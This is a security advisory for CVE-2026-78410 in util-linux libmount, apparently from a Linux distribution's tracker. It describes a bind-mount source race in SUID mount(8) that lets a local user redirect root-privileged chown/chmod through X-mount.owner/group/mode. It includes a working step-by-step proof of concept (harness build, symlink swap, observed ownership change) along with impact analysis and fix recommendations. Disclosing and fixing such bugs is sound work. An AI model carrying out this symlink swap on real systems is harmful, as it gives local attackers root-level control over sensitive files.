GHSA-rh77-686x-2f2m on Cyberus Linux 26.05
Aliases: GHSA-rh77-686x-2f2m, CVE-2026-78410
Packages: util-linux
Status: Resolved
Advisory Information
Summary
A restricted-user bind mount source path is authorized from
/etc/fstabbut is not pinned before the privileged mount operation. A local unprivileged user who can replace the fstab bind source path or one of its ancestors can redirect SUIDmount(8)to bind an attacker-selected host directory. When the same fstab entry containsX-mount.owner=,X-mount.group=, orX-mount.mode=, the post-mount hook applies root-privilegedchown/chmodto the mounted root, which is the redirected bind source inode. This gives a local attacker a root-privileged ownership or permission modification primitive on a path not authorized by the fstab entry.This appears to be an unfixed source-side variant in the restricted-mount pathname TOCTOU family. It is distinct from the public loop backing-file TOCTOU advisory because the vulnerable path here is a bind/rbind source opened through
open_tree(AT_FDCWD, source, OPEN_TREE_CLONE...), and the escalation is completed by theX-mount.owner/group/modepost hook.Details
mount(8)is commonly installed SUID-root so that unprivileged users can perform only fstab-authorized mounts. In restricted mode, the security invariant should be that the source and target used by the privileged operation are the same objects that were authorized by/etc/fstaband permission checks.Current HEAD has strong target-side hardening: restricted mount targets are opened with
ul_open_no_symlinks()and later operations can use the pinned target fd. However, bind/rbind sources remain path strings and are re-resolved during the privileged phase.Relevant source locations:
build/src/sys-utils/mount.c:1121sanitize_paths()is called beforemnt_context_mount()in restricted mode.If the user invokes
mount <target>, the fstab source is not necessarily present in the context at this early command-line sanitization point.
build/src/libmount/src/context.c:2037tobuild/src/libmount/src/context.c:2055
mnt_context_prepare_srcpath()canonicalizes the source path string, but it does not pin the source inode with an fd.
build/src/libmount/src/context.c:2070tobuild/src/libmount/src/context.c:2075Bind, move, remount, and pseudo-fs sources are considered prepared after string canonicalization and skip the usual source hooks.
build/src/libmount/src/context.c:1952tobuild/src/libmount/src/context.c:1990mnt_context_open_tree()opens the source withopen_tree(AT_FDCWD, path, flags).- For bind mounts,
OPEN_TREE_CLONEis added.
AT_SYMLINK_NOFOLLOWis only added forX-mount.nocanonicalize=source, butmnt_context_is_xnocanonicalize()returns false in restricted mode, so restricted users cannot rely on this as protection.
build/src/libmount/src/hook_mount.c:638tobuild/src/libmount/src/hook_mount.c:640The new mount API initializes
api->fd_treeby callingmnt_context_open_tree(cxt, path, flags)wherepathis the bind source pathname.
build/src/libmount/src/hook_mount.c:551tobuild/src/libmount/src/hook_mount.c:558The target side can use a pinned target fd when attaching the tree. This protects the target but does not protect the source.
build/src/libmount/src/hook_owner.c:63tobuild/src/libmount/src/hook_owner.c:85- The
X-mount.owner=,X-mount.group=, andX-mount.mode=hook applies fd-based ownership or mode changes to the mounted target root.- For a bind mount, the mounted target root is the same inode as the bind source.
The vulnerable sequence is therefore:
- A restricted user requests an fstab-authorized bind mount by target.
- libmount evaluates fstab permissions and accepts the user mount.
- The bind source is represented as a pathname string, not a pinned fd.
- The attacker replaces the source path or a writable ancestor with a symlink to another host directory.
- Privileged libmount later calls
open_tree(AT_FDCWD, source, OPEN_TREE_CLONE | ...)and opens the redirected source.move_mount()attaches the redirected tree to the authorized target.X-mount.owner/group/modeoperates on the mounted root by fd; for a bind mount this changes the redirected source inode.This bypasses the administrator's fstab authorization. The administrator authorized metadata changes on one source path, but root applies those changes to another attacker-selected path.
PoC
The following instructions reproduce the issue against current HEAD libmount in a restricted SUID-like context. The harness starts as root, then sets
ruid=<unprivileged user>andeuid=0before creating the libmount context, which matches the privilege shape of SUIDmount(8)restricted mode.1. Build current HEAD libmount
From the util-linux source root:
rm -rf /tmp/ul-build-current meson setup /tmp/ul-build-current build/src \ -Dbuild-mount=enabled \ -Dbuild-libmount=enabled \ -Dbuild-libblkid=enabled \ -Dbuild-libuuid=enabled \ -Dbuild-libsmartcols=enabled \ -Dbuild-libfdisk=disabled \ -Dbuild-python=disabled \ -Dnls=disabled \ -Dsystemd=disabled \ -Dselinux=disabled \ -Daudit=disabled \ -Dcryptsetup=disabled \ -Dreadline=disabled \ -Dtinfo=disabled \ -Dncursesw=disabled \ -Dncurses=disabled \ -Dmagic=disabled \ -Deconf=disabled ninja -C /tmp/ul-build-current mount2. Compile the restricted-context harness
The harness source used in my test workspace is available at:
verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/libmount_current_bind_source_owner_e2e.cCompile it with the freshly built libmount:
gcc -Wall -O2 \ verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/libmount_current_bind_source_owner_e2e.c \ -o /tmp/libmount_current_bind_source_owner_e2e \ -I/tmp/ul-build-current/libmount \ -Ibuild/src/libmount/src \ -Ibuild/src/include \ -L/tmp/ul-build-current/libmount \ -lmount \ -Wl,-rpath,/tmp/ul-build-current/libmount \ -Wl,-rpath,/tmp/ul-build-current/libblkidThe harness performs the following important operations:
initgroups(pw->pw_name, pw->pw_gid); setresgid(pw->pw_gid, 0, 0); setresuid(pw->pw_uid, 0, 0); struct libmnt_context *cxt = mnt_new_context(); mnt_context_set_target(cxt, argv[2]); mnt_context_mount(cxt);This makes
getuid()return the unprivileged user whilegeteuid()remains root, so libmount treats the operation as restricted but still has privileges to perform the mount.3. Prepare an unprivileged user and directories
The example below uses user
ulhead.useradd -m -U ulhead 2>/dev/null || true rm -rf /tmp/ul_e2e mkdir -p /tmp/ul_e2e/user /tmp/ul_e2e/mnt /tmp/ul_e2e/sensitive chown ulhead:ulhead /tmp/ul_e2e/user chmod 0755 /tmp/ul_e2e/user chown root:root /tmp/ul_e2e/sensitive chmod 0700 /tmp/ul_e2e/sensitive printf 'SENSITIVE\n' > /tmp/ul_e2e/sensitive/markerCreate the initially authorized source path:
runuser -u ulhead -- mkdir -p /tmp/ul_e2e/user/safe4. Add the fstab entry
Add this temporary fstab entry:
/tmp/ul_e2e/user/safe /tmp/ul_e2e/mnt none bind,user,noauto,X-mount.owner=ulhead,X-mount.group=ulhead 0 0For a non-invasive test, use a temporary copy of
/etc/fstabif your harness or test setup supports it. In my validation, the entry was used as the active fstab record for the harness run.5. Replace the authorized source with a symlink
As the unprivileged user:
runuser -u ulhead -- sh -c 'rm -rf /tmp/ul_e2e/user/safe && ln -s /tmp/ul_e2e/sensitive /tmp/ul_e2e/user/safe'Before running the harness, the sensitive directory is still owned by root:
stat -c '%n uid=%u gid=%g mode=%a' /tmp/ul_e2e/sensitive /tmp/ul_e2e/mntExpected before state:
/tmp/ul_e2e/sensitive uid=0 gid=0 mode=700 /tmp/ul_e2e/mnt uid=0 gid=0 mode=7556. Run the restricted-context mount harness
/tmp/libmount_current_bind_source_owner_e2e ulhead /tmp/ul_e2e/mntObserved result from my current-HEAD validation:
libmount rc=0 status=1 syscall_errno=0 restricted-as-ruid=1003 euid=0After the mount, check ownership and marker content:
stat -c '%n uid=%u gid=%g mode=%a' /tmp/ul_e2e/sensitive /tmp/ul_e2e/mnt cat /tmp/ul_e2e/mnt/marker findmnt -n --target /tmp/ul_e2e/mntObserved output:
/tmp/ul_e2e/sensitive uid=1003 gid=1003 mode=700 /tmp/ul_e2e/mnt uid=1003 gid=1003 mode=700 SENSITIVE /dev/vda1 on /tmp/ul_e2e/mnt type ext4 (rw,nosuid,nodev,noexec,relatime,user=ulhead)This demonstrates that current HEAD libmount accepted the restricted fstab user mount, followed the attacker-replaced bind source, mounted the redirected source tree, and then applied
X-mount.owner/groupto the redirected source inode.The saved evidence from my run is in:
verified-issues/ongoing-unpublished-hunt-2026-06-17/evidence/bind-source-owner-current-head-libmount-e2e.log7. Cleanup
umount -l /tmp/ul_e2e/mnt 2>/dev/null || true rm -rf /tmp/ul_e2eImpact
This is a local privilege escalation primitive in SUID
mount(8)restricted-user configurations.Who is impacted:
- Linux systems where
/usr/bin/mountis SUID-root.- Administrators who configure fstab entries allowing unprivileged users to perform bind/rbind mounts from paths under user-writable ancestors.
- Systems using
X-mount.owner=,X-mount.group=, orX-mount.mode=on such restricted bind/rbind fstab entries.Security impact:
- A local unprivileged user can cause root-privileged
chownorchmodto be applied to a host directory that the fstab entry did not authorize.- If the redirected path is security-sensitive, changing its owner, group, or mode can allow further local privilege escalation by letting the attacker modify root-controlled files, configuration, service directories, plugin directories, or other trusted paths.
- Even without a direct root shell in the minimal harness, arbitrary root-authorized metadata modification of attacker-selected paths is a high-impact integrity violation.
Why this is distinct from already public advisories:
- It is not the public loop backing-file TOCTOU issue. That issue involves
user,loopand loop device setup.- It is not the older target-path redirection issue. Current HEAD target fd pinning is present in this test.
- It is not the older path-based
hook_owner.cissue. Current HEAD uses fd-basedfchownat()/chmod()inhook_owner.c; the bug is that the fd now refers to a bind mount of an attacker-redirected source.- The missing invariant is source-side pinning for restricted bind/rbind mounts.
Recommended fix:
- For restricted bind/rbind mounts, pin the fstab-authorized source with an fd before the permission decision can be invalidated.
- Use the pinned source fd for
open_tree()or equivalent clone operations instead of re-resolving a pathname withAT_FDCWD.- Use
openat2()-style constraints such as no-symlink and beneath-style resolution when opening restricted sources.- If safe source pinning is unavailable, reject restricted bind/rbind mounts where the source path is below a user-writable ancestor and
X-mount.owner/group/modeor idmap post hooks are active.- Add regression tests where an fstab-authorized bind source is replaced with a symlink before
open_tree(), and verify thatX-mount.owner/group/modedoes not affect the symlink target.
Updates
2026-09-21 22:02 CEST
Metadata changes:
- Status for package
util-linux: “Resolved”
2026-09-07 17:18 CEST
Metadata changes:
- Status for package
util-linux: “In Progress”
2026-09-02 16:24 CEST
Metadata changes:
- Status for package
util-linux: “Plausible”
2026-09-02 16:24 CEST
Metadata changes:
- Status for package
util-linux: “New”